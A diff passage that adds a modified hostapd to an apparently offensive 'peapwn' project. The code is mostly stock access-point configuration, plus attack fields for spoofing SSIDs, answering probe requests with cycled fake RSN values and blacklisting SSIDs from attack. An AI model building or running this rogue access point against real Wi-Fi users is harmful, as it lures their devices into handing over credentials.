+ os_free(conf->hs20_oper_friendly_name); + os_free(conf->hs20_wan_metrics); + os_free(conf->hs20_connection_capability); + os_free(conf->hs20_operating_class); +#endif /* CONFIG_HS20 */ + + wpabuf_free(conf->vendor_elements); + + os_free(conf->sae_groups); + + os_free(conf->server_id); + + int i; + for(i = 0; i < SPOOF_LIST_SIZE; i++) { + os_free(conf->spoof_ssid_list[i]); + } + + os_free(conf); +} + + +/** + * hostapd_config_free - Free hostapd configuration + * @conf: Configuration data from hostapd_config_read(). + */ +void hostapd_config_free(struct hostapd_config *conf) +{ + size_t i; + + if (conf == NULL) + return; + + for (i = 0; i < conf->num_bss; i++) + hostapd_config_free_bss(conf->bss[i]); + os_free(conf->bss); + os_free(conf->supported_rates); + os_free(conf->basic_rates); + + os_free(conf); +} + + +/** + * hostapd_maclist_found - Find a MAC address from a list + * @list: MAC address list + * @num_entries: Number of addresses in the list + * @addr: Address to search for + * @vlan_id: Buffer for returning VLAN ID or %NULL if not needed + * Returns: 1 if address is in the list or 0 if not. + * + * Perform a binary search for given MAC address from a pre-sorted list. + */ +int hostapd_maclist_found(struct mac_acl_entry *list, int num_entries, + const u8 *addr, int *vlan_id) +{ + int start, end, middle, res; + + start = 0; + end = num_entries - 1; + + while (start <= end) { + middle = (start + end) / 2; + res = os_memcmp(list[middle].addr, addr, ETH_ALEN); + if (res == 0) { + if (vlan_id) + *vlan_id = list[middle].vlan_id; + return 1; + } + if (res < 0) + start = middle + 1; + else + end = middle - 1; + } + + return 0; +} + + +int hostapd_rate_found(int *list, int rate) +{ + int i; + + if (list == NULL) + return 0; + + for (i = 0; list[i] >= 0; i++) + if (list[i] == rate) + return 1; + + return 0; +} + + +int hostapd_vlan_id_valid(struct hostapd_vlan *vlan, int vlan_id) +{ + struct hostapd_vlan *v = vlan; + while (v) { + if (v->vlan_id == vlan_id || v->vlan_id == VLAN_ID_WILDCARD) + return 1; + v = v->next; + } + return 0; +} + + +const char * hostapd_get_vlan_id_ifname(struct hostapd_vlan *vlan, int vlan_id) +{ + struct hostapd_vlan *v = vlan; + while (v) { + if (v->vlan_id == vlan_id) + return v->ifname; + v = v->next; + } + return NULL; +} + + +const u8 * hostapd_get_psk(const struct hostapd_bss_config *conf, + const u8 *addr, const u8 *p2p_dev_addr, + const u8 *prev_psk) +{ + struct hostapd_wpa_psk *psk; + int next_ok = prev_psk == NULL; + + if (p2p_dev_addr) { + wpa_printf(MSG_DEBUG, "Searching a PSK for " MACSTR + " p2p_dev_addr=" MACSTR " prev_psk=%p", + MAC2STR(addr), MAC2STR(p2p_dev_addr), prev_psk); + if (!is_zero_ether_addr(p2p_dev_addr)) + addr = NULL; /* Use P2P Device Address for matching */ + } else { + wpa_printf(MSG_DEBUG, "Searching a PSK for " MACSTR + " prev_psk=%p", + MAC2STR(addr), prev_psk); + } + + for (psk = conf->ssid.wpa_psk; psk != NULL; psk = psk->next) { + if (next_ok && + (psk->group || + (addr && os_memcmp(psk->addr, addr, ETH_ALEN) == 0) || + (!addr && p2p_dev_addr && + os_memcmp(psk->p2p_dev_addr, p2p_dev_addr, ETH_ALEN) == + 0))) + return psk->psk; + + if (psk->psk == prev_psk) + next_ok = 1; + } + + return NULL; +} + + +static int hostapd_config_check_bss(struct hostapd_bss_config *bss, + struct hostapd_config *conf) +{ + if (bss->ieee802_1x && !bss->eap_server && + !bss->radius->auth_servers) { + wpa_printf(MSG_ERROR, "Invalid IEEE 802.1X configuration (no " + "EAP authenticator configured)."); + return -1; + } + + if (bss->wpa) { + int wep, i; + + wep = bss->default_wep_key_len > 0 || + bss->individual_wep_key_len > 0; + for (i = 0; i < NUM_WEP_KEYS; i++) { + if (bss->ssid.wep.keys_set) { + wep = 1; + break; + } + } + + if (wep) { + wpa_printf(MSG_ERROR, "WEP configuration in a WPA network is not supported"); + return -1; + } + } + + if (bss->wpa && bss->wpa_psk_radius != PSK_RADIUS_IGNORED && + bss->macaddr_acl != USE_EXTERNAL_RADIUS_AUTH) { + wpa_printf(MSG_ERROR, "WPA-PSK using RADIUS enabled, but no " + "RADIUS checking (macaddr_acl=2) enabled."); + return -1; + } + + if (bss->wpa && (bss->wpa_key_mgmt & WPA_KEY_MGMT_PSK) && + bss->ssid.wpa_psk == NULL && bss->ssid.wpa_passphrase == NULL && + bss->ssid.wpa_psk_file == NULL && + (bss->wpa_psk_radius != PSK_RADIUS_REQUIRED || + bss->macaddr_acl != USE_EXTERNAL_RADIUS_AUTH)) { + wpa_printf(MSG_ERROR, "WPA-PSK enabled, but PSK or passphrase " + "is not configured."); + return -1; + } + + if (hostapd_mac_comp_empty(bss->bssid) != 0) { + size_t i; + + for (i = 0; i < conf->num_bss; i++) { + if (conf->bss[i] != bss && + (hostapd_mac_comp(conf->bss[i]->bssid, + bss->bssid) == 0)) { + wpa_printf(MSG_ERROR, "Duplicate BSSID " MACSTR + " on interface '%s' and '%s'.", + MAC2STR(bss->bssid), + conf->bss[i]->iface, bss->iface); + return -1; + } + } + } + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(bss->wpa_key_mgmt) && + (bss->nas_identifier == NULL || + os_strlen(bss->nas_identifier) < 1 || + os_strlen(bss->nas_identifier) > FT_R0KH_ID_MAX_LEN)) { + wpa_printf(MSG_ERROR, "FT (IEEE 802.11r) requires " + "nas_identifier to be configured as a 1..48 octet " + "string"); + return -1; + } +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_IEEE80211N + if (conf->ieee80211n && conf->hw_mode == HOSTAPD_MODE_IEEE80211B) { + bss->disable_11n = 1; + wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) in 11b mode is not " + "allowed, disabling HT capabilites"); + } + + if (conf->ieee80211n && + bss->ssid.security_policy == SECURITY_STATIC_WEP) { + bss->disable_11n = 1; + wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) with WEP is not " + "allowed, disabling HT capabilities"); + } + + if (conf->ieee80211n && bss->wpa && + !(bss->wpa_pairwise & WPA_CIPHER_CCMP) && + !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP))) { + bss->disable_11n = 1; + wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) with WPA/WPA2 " + "requires CCMP/GCMP to be enabled, disabling HT " + "capabilities"); + } +#endif /* CONFIG_IEEE80211N */ + +#ifdef CONFIG_WPS2 + if (bss->wps_state && bss->ignore_broadcast_ssid) { + wpa_printf(MSG_INFO, "WPS: ignore_broadcast_ssid " + "configuration forced WPS to be disabled"); + bss->wps_state = 0; + } + + if (bss->wps_state && bss->ssid.wep.keys_set && bss->wpa == 0) { + wpa_printf(MSG_INFO, "WPS: WEP configuration forced WPS to be " + "disabled"); + bss->wps_state = 0; + } + + if (bss->wps_state && bss->wpa && + (!(bss->wpa & 2) || + !(bss->rsn_pairwise & WPA_CIPHER_CCMP))) { + wpa_printf(MSG_INFO, "WPS: WPA/TKIP configuration without " + "WPA2/CCMP forced WPS to be disabled"); + bss->wps_state = 0; + } +#endif /* CONFIG_WPS2 */ + +#ifdef CONFIG_HS20 + if (bss->hs20 && + (!(bss->wpa & 2) || + !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP)))) { + wpa_printf(MSG_ERROR, "HS 2.0: WPA2-Enterprise/CCMP " + "configuration is required for Hotspot 2.0 " + "functionality"); + return -1; + } +#endif /* CONFIG_HS20 */ + + return 0; +} + + +int hostapd_config_check(struct hostapd_config *conf) +{ + size_t i; + + if (conf->ieee80211d && (!conf->country[0] || !conf->country[1])) { + wpa_printf(MSG_ERROR, "Cannot enable IEEE 802.11d without " + "setting the country_code"); + return -1; + } + + if (conf->ieee80211h && !conf->ieee80211d) { + wpa_printf(MSG_ERROR, "Cannot enable IEEE 802.11h without " + "IEEE 802.11d enabled"); + return -1; + } + + for (i = 0; i < conf->num_bss; i++) { + if (hostapd_config_check_bss(conf->bss[i], conf)) + return -1; + } + + return 0; +} + + +void hostapd_set_security_params(struct hostapd_bss_config *bss) +{ + if (bss->individual_wep_key_len == 0) { + /* individual keys are not use; can use key idx0 for + * broadcast keys */ + bss->broadcast_key_idx_min = 0; + } + + if ((bss->wpa & 2) && bss->rsn_pairwise == 0) + bss->rsn_pairwise = bss->wpa_pairwise; + bss->wpa_group = wpa_select_ap_group_cipher(bss->wpa, bss->wpa_pairwise, + bss->rsn_pairwise); + + bss->radius->auth_server = bss->radius->auth_servers; + bss->radius->acct_server = bss->radius->acct_servers; + + if (bss->wpa && bss->ieee802_1x) { + bss->ssid.security_policy = SECURITY_WPA; + } else if (bss->wpa) { + bss->ssid.security_policy = SECURITY_WPA_PSK; + } else if (bss->ieee802_1x) { + int cipher = WPA_CIPHER_NONE; + bss->ssid.security_policy = SECURITY_IEEE_802_1X; + bss->ssid.wep.default_len = bss->default_wep_key_len; + if (bss->default_wep_key_len) + cipher = bss->default_wep_key_len >= 13 ? + WPA_CIPHER_WEP104 : WPA_CIPHER_WEP40; + bss->wpa_group = cipher; + bss->wpa_pairwise = cipher; + bss->rsn_pairwise = cipher; + } else if (bss->ssid.wep.keys_set) { + int cipher = WPA_CIPHER_WEP40; + if (bss->ssid.wep.len[0] >= 13) + cipher = WPA_CIPHER_WEP104; + bss->ssid.security_policy = SECURITY_STATIC_WEP; + bss->wpa_group = cipher; + bss->wpa_pairwise = cipher; + bss->rsn_pairwise = cipher; + } else { + bss->ssid.security_policy = SECURITY_PLAINTEXT; + bss->wpa_group = WPA_CIPHER_NONE; + bss->wpa_pairwise = WPA_CIPHER_NONE; + bss->rsn_pairwise = WPA_CIPHER_NONE; + } +} diff --git a/peapwn/mods/hostap/src/ap/ap_config.h b/peapwn/mods/hostap/src/ap/ap_config.h new file mode 100644 index 000000000..ba6d35fde --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_config.h @@ -0,0 +1,606 @@ +/* + * hostapd / Configuration definitions and helpers functions + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HOSTAPD_CONFIG_H +#define HOSTAPD_CONFIG_H + +#include "common/defs.h" +#include "ip_addr.h" +#include "common/wpa_common.h" +#include "common/ieee802_11_common.h" +#include "wps/wps.h" + +#define MAX_STA_COUNT 2007 +#define MAX_VLAN_ID 4094 +#define SPOOF_LIST_SIZE 64 + +typedef u8 macaddr[ETH_ALEN]; + +struct mac_acl_entry { + macaddr addr; + int vlan_id; +}; + +struct hostapd_radius_servers; +struct ft_remote_r0kh; +struct ft_remote_r1kh; + +#define HOSTAPD_MAX_SSID_LEN 32 + +#define NUM_WEP_KEYS 4 +struct hostapd_wep_keys { + u8 idx; + u8 *key[NUM_WEP_KEYS]; + size_t len[NUM_WEP_KEYS]; + int keys_set; + size_t default_len; /* key length used for dynamic key generation */ +}; + +typedef enum hostap_security_policy { + SECURITY_PLAINTEXT = 0, + SECURITY_STATIC_WEP = 1, + SECURITY_IEEE_802_1X = 2, + SECURITY_WPA_PSK = 3, + SECURITY_WPA = 4 +} secpolicy; + +struct spoof_ssid { + u8 ssid[HOSTAPD_MAX_SSID_LEN]; + size_t ssid_len; +}; + +struct hostapd_ssid { + u8 ssid[HOSTAPD_MAX_SSID_LEN]; + size_t ssid_len; + unsigned int ssid_set:1; + unsigned int utf8_ssid:1; + unsigned int wpa_passphrase_set:1; + unsigned int wpa_psk_set:1; + + char vlan[IFNAMSIZ + 1]; + secpolicy security_policy; + + struct hostapd_wpa_psk *wpa_psk; + char *wpa_passphrase; + char *wpa_psk_file; + + struct hostapd_wep_keys wep; + +#define DYNAMIC_VLAN_DISABLED 0 +#define DYNAMIC_VLAN_OPTIONAL 1 +#define DYNAMIC_VLAN_REQUIRED 2 + int dynamic_vlan; +#define DYNAMIC_VLAN_NAMING_WITHOUT_DEVICE 0 +#define DYNAMIC_VLAN_NAMING_WITH_DEVICE 1 +#define DYNAMIC_VLAN_NAMING_END 2 + int vlan_naming; +#ifdef CONFIG_FULL_DYNAMIC_VLAN + char *vlan_tagged_interface; +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ +}; + + +#define VLAN_ID_WILDCARD -1 + +struct hostapd_vlan { + struct hostapd_vlan *next; + int vlan_id; /* VLAN ID or -1 (VLAN_ID_WILDCARD) for wildcard entry */ + char ifname[IFNAMSIZ + 1]; + int dynamic_vlan; +#ifdef CONFIG_FULL_DYNAMIC_VLAN + +#define DVLAN_CLEAN_BR 0x1 +#define DVLAN_CLEAN_VLAN 0x2 +#define DVLAN_CLEAN_VLAN_PORT 0x4 +#define DVLAN_CLEAN_WLAN_PORT 0x8 + int clean; +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ +}; + +#define PMK_LEN 32 +struct hostapd_sta_wpa_psk_short { + struct hostapd_sta_wpa_psk_short *next; + u8 psk[PMK_LEN]; +}; + +struct hostapd_wpa_psk { + struct hostapd_wpa_psk *next; + int group; + u8 psk[PMK_LEN]; + u8 addr[ETH_ALEN]; + u8 p2p_dev_addr[ETH_ALEN]; +}; + +struct hostapd_eap_user { + struct hostapd_eap_user *next; + u8 *identity; + size_t identity_len; + struct { + int vendor; + u32 method; + } methods[EAP_MAX_METHODS]; + u8 *password; + size_t password_len; + int phase2; + int force_version; + unsigned int wildcard_prefix:1; + unsigned int password_hash:1; /* whether password is hashed with + * nt_password_hash() */ + int ttls_auth; /* EAP_TTLS_AUTH_* bitfield */ +}; + +struct hostapd_radius_attr { + u8 type; + struct wpabuf *val; + struct hostapd_radius_attr *next; +}; + + +#define NUM_TX_QUEUES 4 + +struct hostapd_tx_queue_params { + int aifs; + int cwmin; + int cwmax; + int burst; /* maximum burst time in 0.1 ms, i.e., 10 = 1 ms */ +}; + + +#define MAX_ROAMING_CONSORTIUM_LEN 15 + +struct hostapd_roaming_consortium { + u8 len; + u8 oi[MAX_ROAMING_CONSORTIUM_LEN]; +}; + +struct hostapd_lang_string { + u8 lang[3]; + u8 name_len; + u8 name[252]; +}; + +#define MAX_NAI_REALMS 10 +#define MAX_NAI_REALMLEN 255 +#define MAX_NAI_EAP_METHODS 5 +#define MAX_NAI_AUTH_TYPES 4 +struct hostapd_nai_realm_data { + u8 encoding; + char realm_buf[MAX_NAI_REALMLEN + 1]; + char *realm[MAX_NAI_REALMS]; + u8 eap_method_count; + struct hostapd_nai_realm_eap { + u8 eap_method; + u8 num_auths; + u8 auth_id[MAX_NAI_AUTH_TYPES]; + u8 auth_val[MAX_NAI_AUTH_TYPES]; + } eap_method[MAX_NAI_EAP_METHODS]; +}; + +/** + * struct hostapd_bss_config - Per-BSS configuration + */ +struct hostapd_bss_config { + char iface[IFNAMSIZ + 1]; + char bridge[IFNAMSIZ + 1]; + char vlan_bridge[IFNAMSIZ + 1]; + char wds_bridge[IFNAMSIZ + 1]; + + enum hostapd_logger_level logger_syslog_level, logger_stdout_level; + + unsigned int logger_syslog; /* module bitfield */ + unsigned int logger_stdout; /* module bitfield */ + + char *dump_log_name; /* file name for state dump (SIGUSR1) */ + + int max_num_sta; /* maximum number of STAs in station table */ + + int dtim_period; + + int ieee802_1x; /* use IEEE 802.1X */ + int eapol_version; + int eap_server; /* Use internal EAP server instead of external + * RADIUS server */ + struct hostapd_eap_user *eap_user; + char *eap_user_sqlite; + char *eap_sim_db; + struct hostapd_ip_addr own_ip_addr; + char *nas_identifier; + struct hostapd_radius_servers *radius; + int acct_interim_interval; + int radius_request_cui; + struct hostapd_radius_attr *radius_auth_req_attr; + struct hostapd_radius_attr *radius_acct_req_attr; + int radius_das_port; + unsigned int radius_das_time_window; + int radius_das_require_event_timestamp; + struct hostapd_ip_addr radius_das_client_addr; + u8 *radius_das_shared_secret; + size_t radius_das_shared_secret_len; + + struct hostapd_ssid ssid; + + char *eap_req_id_text; /* optional displayable message sent with + * EAP Request-Identity */ + size_t eap_req_id_text_len; + int eapol_key_index_workaround; + + size_t default_wep_key_len; + int individual_wep_key_len; + int wep_rekeying_period; + int broadcast_key_idx_min, broadcast_key_idx_max; + int eap_reauth_period; + + int ieee802_11f; /* use IEEE 802.11f (IAPP) */ + char iapp_iface[IFNAMSIZ + 1]; /* interface used with IAPP broadcast + * frames */ + + enum { + ACCEPT_UNLESS_DENIED = 0, + DENY_UNLESS_ACCEPTED = 1, + USE_EXTERNAL_RADIUS_AUTH = 2 + } macaddr_acl; + struct mac_acl_entry *accept_mac; + int num_accept_mac; + struct mac_acl_entry *deny_mac; + int num_deny_mac; + int wds_sta; + int isolate; + int start_disabled; + + int auth_algs; /* bitfield of allowed IEEE 802.11 authentication + * algorithms, WPA_AUTH_ALG_{OPEN,SHARED,LEAP} */ + + int wpa; /* bitfield of WPA_PROTO_WPA, WPA_PROTO_RSN */ + int wpa_key_mgmt; +#ifdef CONFIG_IEEE80211W + enum mfp_options ieee80211w; + /* dot11AssociationSAQueryMaximumTimeout (in TUs) */ + unsigned int assoc_sa_query_max_timeout; + /* dot11AssociationSAQueryRetryTimeout (in TUs) */ + int assoc_sa_query_retry_timeout; +#endif /* CONFIG_IEEE80211W */ + enum { + PSK_RADIUS_IGNORED = 0, + PSK_RADIUS_ACCEPTED = 1, + PSK_RADIUS_REQUIRED = 2 + } wpa_psk_radius; + int wpa_pairwise; + int wpa_group; + int wpa_group_rekey; + int wpa_strict_rekey; + int wpa_gmk_rekey; + int wpa_ptk_rekey; + int rsn_pairwise; + int rsn_preauth; + char *rsn_preauth_interfaces; + int peerkey; + +#ifdef CONFIG_IEEE80211R + /* IEEE 802.11r - Fast BSS Transition */ + u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; + u8 r1_key_holder[FT_R1KH_ID_LEN]; + u32 r0_key_lifetime; + u32 reassociation_deadline; + struct ft_remote_r0kh *r0kh_list; + struct ft_remote_r1kh *r1kh_list; + int pmk_r1_push; + int ft_over_ds; +#endif /* CONFIG_IEEE80211R */ + + char *ctrl_interface; /* directory for UNIX domain sockets */ +#ifndef CONFIG_NATIVE_WINDOWS + gid_t ctrl_interface_gid; +#endif /* CONFIG_NATIVE_WINDOWS */ + int ctrl_interface_gid_set; + + char *ca_cert; + char *server_cert; + char *private_key; + char *private_key_passwd; + int check_crl; + char *ocsp_stapling_response; + char *dh_file; + u8 *pac_opaque_encr_key; + u8 *eap_fast_a_id; + size_t eap_fast_a_id_len; + char *eap_fast_a_id_info; + int eap_fast_prov; + int pac_key_lifetime; + int pac_key_refresh_time; + int eap_sim_aka_result_ind; + int tnc; + int fragment_size; + u16 pwd_group; + + char *radius_server_clients; + int radius_server_auth_port; + int radius_server_ipv6; + + char *test_socket; /* UNIX domain socket path for driver_test */ + + int use_pae_group_addr; /* Whether to send EAPOL frames to PAE group + * address instead of individual address + * (for driver_wired.c). + */ + + int ap_max_inactivity; + int ignore_broadcast_ssid; + + int wmm_enabled; + int wmm_uapsd; + + struct hostapd_vlan *vlan; + + macaddr bssid; + + /* + * Maximum listen interval that STAs can use when associating with this + * BSS. If a STA tries to use larger value, the association will be + * denied with status code 51. + */ + u16 max_listen_interval; + + int disable_pmksa_caching; + int okc; /* Opportunistic Key Caching */ + + int wps_state; +#ifdef CONFIG_WPS + int wps_independent; + int ap_setup_locked; + u8 uuid[16]; + char *wps_pin_requests; + char *device_name; + char *manufacturer; + char *model_name; + char *model_number; + char *serial_number; + u8 device_type[WPS_DEV_TYPE_LEN]; + char *config_methods; + u8 os_version[4]; + char *ap_pin; + int skip_cred_build; + u8 *extra_cred; + size_t extra_cred_len; + int wps_cred_processing; + int force_per_enrollee_psk; + u8 *ap_settings; + size_t ap_settings_len; + char *upnp_iface; + char *friendly_name; + char *manufacturer_url; + char *model_description; + char *model_url; + char *upc; + struct wpabuf *wps_vendor_ext[MAX_WPS_VENDOR_EXTENSIONS]; + int wps_nfc_pw_from_config; + int wps_nfc_dev_pw_id; + struct wpabuf *wps_nfc_dh_pubkey; + struct wpabuf *wps_nfc_dh_privkey; + struct wpabuf *wps_nfc_dev_pw; +#endif /* CONFIG_WPS */ + int pbc_in_m1; + char *server_id; + +#define P2P_ENABLED BIT(0) +#define P2P_GROUP_OWNER BIT(1) +#define P2P_GROUP_FORMATION BIT(2) +#define P2P_MANAGE BIT(3) +#define P2P_ALLOW_CROSS_CONNECTION BIT(4) + int p2p; + + int disassoc_low_ack; + int skip_inactivity_poll; + +#define TDLS_PROHIBIT BIT(0) +#define TDLS_PROHIBIT_CHAN_SWITCH BIT(1) + int tdls; + int disable_11n; + int disable_11ac; + + /* IEEE 802.11v */ + int time_advertisement; + char *time_zone; + int wnm_sleep_mode; + int bss_transition; + + /* IEEE 802.11u - Interworking */ + int interworking; + int access_network_type; + int internet; + int asra; + int esr; + int uesa; + int venue_info_set; + u8 venue_group; + u8 venue_type; + u8 hessid[ETH_ALEN]; + + /* IEEE 802.11u - Roaming Consortium list */ + unsigned int roaming_consortium_count; + struct hostapd_roaming_consortium *roaming_consortium; + + /* IEEE 802.11u - Venue Name duples */ + unsigned int venue_name_count; + struct hostapd_lang_string *venue_name; + + /* IEEE 802.11u - Network Authentication Type */ + u8 *network_auth_type; + size_t network_auth_type_len; + + /* IEEE 802.11u - IP Address Type Availability */ + u8 ipaddr_type_availability; + u8 ipaddr_type_configured; + + /* IEEE 802.11u - 3GPP Cellular Network */ + u8 *anqp_3gpp_cell_net; + size_t anqp_3gpp_cell_net_len; + + /* IEEE 802.11u - Domain Name */ + u8 *domain_name; + size_t domain_name_len; + + unsigned int nai_realm_count; + struct hostapd_nai_realm_data *nai_realm_data; + + u16 gas_comeback_delay; + int gas_frag_limit; + + u8 qos_map_set[16 + 2 * 21]; + unsigned int qos_map_set_len; + +#ifdef CONFIG_HS20 + int hs20; + int disable_dgaf; + unsigned int hs20_oper_friendly_name_count; + struct hostapd_lang_string *hs20_oper_friendly_name; + u8 *hs20_wan_metrics; + u8 *hs20_connection_capability; + size_t hs20_connection_capability_len; + u8 *hs20_operating_class; + u8 hs20_operating_class_len; +#endif /* CONFIG_HS20 */ + + u8 wps_rf_bands; /* RF bands for WPS (WPS_RF_*) */ + +#ifdef CONFIG_RADIUS_TEST + char *dump_msk_file; +#endif /* CONFIG_RADIUS_TEST */ + + struct wpabuf *vendor_elements; + + unsigned int sae_anti_clogging_threshold; + int *sae_groups; + +#ifdef CONFIG_TESTING_OPTIONS + u8 bss_load_test[5]; + u8 bss_load_test_set; +#endif /* CONFIG_TESTING_OPTIONS */ + + // Ignoring authentication attempts + int safespoof; + + // Attack specific SSID + int specific; + + // Answer broadcast probe requests + int answer_broadcast_probereq; + + // When answering probe requests, cycle between spoofed RSN values + int cycle_probe_response_types; + + // Blacklist that prevents attacking given SSIDs + char *ssid_blacklist; + + // Round robin list + int cycle_spoof_ssids; + struct spoof_ssid* spoof_ssid_list[SPOOF_LIST_SIZE]; + + // Path to stat database + char *stat_database_path; +}; + + +/** + * struct hostapd_config - Per-radio interface configuration + */ +struct hostapd_config { + struct hostapd_bss_config **bss, *last_bss; + size_t num_bss; + + u16 beacon_int; + int rts_threshold; + int fragm_threshold; + u8 send_probe_response; + u8 channel; + enum hostapd_hw_mode hw_mode; /* HOSTAPD_MODE_IEEE80211A, .. */ + enum { + LONG_PREAMBLE = 0, + SHORT_PREAMBLE = 1 + } preamble; + + int *supported_rates; + int *basic_rates; + + const struct wpa_driver_ops *driver; + + int ap_table_max_size; + int ap_table_expiration_time; + + char country[3]; /* first two octets: country code as described in + * ISO/IEC 3166-1. Third octet: + * ' ' (ascii 32): all environments + * 'O': Outdoor environemnt only + * 'I': Indoor environment only + */ + + int ieee80211d; + + int ieee80211h; /* DFS */ + + struct hostapd_tx_queue_params tx_queue[NUM_TX_QUEUES]; + + /* + * WMM AC parameters, in same order as 802.1D, i.e. + * 0 = BE (best effort) + * 1 = BK (background) + * 2 = VI (video) + * 3 = VO (voice) + */ + struct hostapd_wmm_ac_params wmm_ac_params[4]; + + int ht_op_mode_fixed; + u16 ht_capab; + int ieee80211n; + int secondary_channel; + int require_ht; + int obss_interval; + u32 vht_capab; + int ieee80211ac; + int require_vht; + u8 vht_oper_chwidth; + u8 vht_oper_centr_freq_seg0_idx; + u8 vht_oper_centr_freq_seg1_idx; + +#ifdef CONFIG_TESTING_OPTIONS + double ignore_probe_probability; + double ignore_auth_probability; + double ignore_assoc_probability; + double ignore_reassoc_probability; + double corrupt_gtk_rekey_mic_probability; +#endif /* CONFIG_TESTING_OPTIONS */ + +#ifdef CONFIG_ACS + unsigned int acs_num_scans; +#endif /* CONFIG_ACS */ +}; + + +int hostapd_mac_comp(const void *a, const void *b); +int hostapd_mac_comp_empty(const void *a); +struct hostapd_config * hostapd_config_defaults(void); +void hostapd_config_defaults_bss(struct hostapd_bss_config *bss); +void hostapd_config_free_bss(struct hostapd_bss_config *conf); +void hostapd_config_free(struct hostapd_config *conf); +int hostapd_maclist_found(struct mac_acl_entry *list, int num_entries, + const u8 *addr, int *vlan_id); +int hostapd_rate_found(int *list, int rate); +int hostapd_wep_key_cmp(struct hostapd_wep_keys *a, + struct hostapd_wep_keys *b); +const u8 * hostapd_get_psk(const struct hostapd_bss_config *conf, + const u8 *addr, const u8 *p2p_dev_addr, + const u8 *prev_psk); +int hostapd_setup_wpa_psk(struct hostapd_bss_config *conf); +int hostapd_vlan_id_valid(struct hostapd_vlan *vlan, int vlan_id); +const char * hostapd_get_vlan_id_ifname(struct hostapd_vlan *vlan, + int vlan_id); +struct hostapd_radius_attr * +hostapd_config_get_radius_attr(struct hostapd_radius_attr *attr, u8 type); +int hostapd_config_check(struct hostapd_config *conf); +void hostapd_set_security_params(struct hostapd_bss_config *bss); + +#endif /* HOSTAPD_CONFIG_H */ diff --git a/peapwn/mods/hostap/src/ap/ap_drv_ops.c b/peapwn/mods/hostap/src/ap/ap_drv_ops.c new file mode 100644 index 000000000..0dc0600f2 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_drv_ops.c @@ -0,0 +1,776 @@ +/* + * hostapd - Driver operations + * Copyright (c) 2009-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "drivers/driver.h" +#include "common/ieee802_11_defs.h" +#include "wps/wps.h" +#include "p2p/p2p.h" +#include "hostapd.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "ap_config.h" +#include "p2p_hostapd.h" +#include "hs20.h" +#include "ap_drv_ops.h" + + +u32 hostapd_sta_flags_to_drv(u32 flags) +{ + int res = 0; + if (flags & WLAN_STA_AUTHORIZED) + res |= WPA_STA_AUTHORIZED; + if (flags & WLAN_STA_WMM) + res |= WPA_STA_WMM; + if (flags & WLAN_STA_SHORT_PREAMBLE) + res |= WPA_STA_SHORT_PREAMBLE; + if (flags & WLAN_STA_MFP) + res |= WPA_STA_MFP; + return res; +} + + +int hostapd_build_ap_extra_ies(struct hostapd_data *hapd, + struct wpabuf **beacon_ret, + struct wpabuf **proberesp_ret, + struct wpabuf **assocresp_ret) +{ + struct wpabuf *beacon = NULL, *proberesp = NULL, *assocresp = NULL; + u8 buf[200], *pos; + + *beacon_ret = *proberesp_ret = *assocresp_ret = NULL; + + pos = buf; + pos = hostapd_eid_time_adv(hapd, pos); + if (pos != buf) { + if (wpabuf_resize(&beacon, pos - buf) != 0) + goto fail; + wpabuf_put_data(beacon, buf, pos - buf); + } + pos = hostapd_eid_time_zone(hapd, pos); + if (pos != buf) { + if (wpabuf_resize(&proberesp, pos - buf) != 0) + goto fail; + wpabuf_put_data(proberesp, buf, pos - buf); + } + + pos = buf; + pos = hostapd_eid_ext_capab(hapd, pos); + if (pos != buf) { + if (wpabuf_resize(&assocresp, pos - buf) != 0) + goto fail; + wpabuf_put_data(assocresp, buf, pos - buf); + } + pos = hostapd_eid_interworking(hapd, pos); + pos = hostapd_eid_adv_proto(hapd, pos); + pos = hostapd_eid_roaming_consortium(hapd, pos); + if (pos != buf) { + if (wpabuf_resize(&beacon, pos - buf) != 0) + goto fail; + wpabuf_put_data(beacon, buf, pos - buf); + + if (wpabuf_resize(&proberesp, pos - buf) != 0) + goto fail; + wpabuf_put_data(proberesp, buf, pos - buf); + } + + if (hapd->wps_beacon_ie) { + if (wpabuf_resize(&beacon, wpabuf_len(hapd->wps_beacon_ie)) < + 0) + goto fail; + wpabuf_put_buf(beacon, hapd->wps_beacon_ie); + } + + if (hapd->wps_probe_resp_ie) { + if (wpabuf_resize(&proberesp, + wpabuf_len(hapd->wps_probe_resp_ie)) < 0) + goto fail; + wpabuf_put_buf(proberesp, hapd->wps_probe_resp_ie); + } + +#ifdef CONFIG_P2P + if (hapd->p2p_beacon_ie) { + if (wpabuf_resize(&beacon, wpabuf_len(hapd->p2p_beacon_ie)) < + 0) + goto fail; + wpabuf_put_buf(beacon, hapd->p2p_beacon_ie); + } + + if (hapd->p2p_probe_resp_ie) { + if (wpabuf_resize(&proberesp, + wpabuf_len(hapd->p2p_probe_resp_ie)) < 0) + goto fail; + wpabuf_put_buf(proberesp, hapd->p2p_probe_resp_ie); + } +#endif /* CONFIG_P2P */ + +#ifdef CONFIG_P2P_MANAGER + if (hapd->conf->p2p & P2P_MANAGE) { + if (wpabuf_resize(&beacon, 100) == 0) { + u8 *start, *p; + start = wpabuf_put(beacon, 0); + p = hostapd_eid_p2p_manage(hapd, start); + wpabuf_put(beacon, p - start); + } + + if (wpabuf_resize(&proberesp, 100) == 0) { + u8 *start, *p; + start = wpabuf_put(proberesp, 0); + p = hostapd_eid_p2p_manage(hapd, start); + wpabuf_put(proberesp, p - start); + } + } +#endif /* CONFIG_P2P_MANAGER */ + +#ifdef CONFIG_WPS2 + if (hapd->conf->wps_state) { + struct wpabuf *a = wps_build_assoc_resp_ie(); + if (a && wpabuf_resize(&assocresp, wpabuf_len(a)) == 